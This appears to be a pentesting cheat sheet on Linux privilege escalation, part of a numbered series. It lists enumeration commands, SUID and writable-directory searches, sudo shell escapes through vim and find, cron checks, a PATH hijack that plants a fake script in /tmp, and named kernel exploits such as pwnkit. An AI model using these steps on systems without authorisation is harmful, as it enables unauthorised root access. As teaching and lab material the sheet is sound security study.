๐Ÿง Linux Privilege Escalation

Check for misconfigs, exploitable binaries, and writable files to escalate privileges.

โžก๏ธ Environment: See 00_environment_setup


๐Ÿงช Basic Enum

uname -a
id
whoami
sudo -l

๐Ÿ“‚ File Permissions

find / -perm -u=s -type f 2>/dev/null       # SUID
find / -writable -type d 2>/dev/null         # Writable dirs

๐Ÿ”ง Sudo Abuses

No password commands:

sudo -l
sudo /usr/bin/vim โ†’ :!sh
sudo /usr/bin/find โ†’ find . -exec /bin/sh \; -quit

Ref: https://gtfobins.github.io


๐Ÿงท Cron Jobs

cat /etc/crontab
ls -la /etc/cron*
# Check for writable scripts run as root

๐Ÿ“ฆ PATH Abuse

echo '/bin/bash' > /tmp/update
chmod +x /tmp/update
export PATH=/tmp:$PATH
sudo run-as-root-script

๐Ÿ›  Kernel Exploits

uname -r
searchsploit linux kernel

Use dirtycow, overlayfs, CVE-2021-4034 (pwnkit) if kernel is vulnerable.


Next: 05_windows_privilege_escalation